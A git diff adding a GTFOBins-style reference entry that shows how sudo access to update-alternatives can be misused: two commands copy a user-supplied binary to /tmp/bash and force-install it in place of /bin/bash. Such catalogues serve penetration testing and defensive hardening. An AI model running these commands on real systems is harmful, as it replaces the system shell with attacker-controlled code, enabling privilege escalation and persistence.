diff --git a/_gtfobins/update-alternatives.md b/_gtfobins/update-alternatives.md
new file mode 100644
index 0000000..a1f4cd7
--- /dev/null
+++ b/_gtfobins/update-alternatives.md
@@ -0,0 +1,8 @@
+---
+functions:
+  sudo:
+    - description: Replace existing binary with symlink pointing to user supplied binary
+      code: |
+        cp file_to_replace_bash /tmp/bash
+        sudo update-alternatives --force --install /bin/bash bash /tmp/bash 1
+---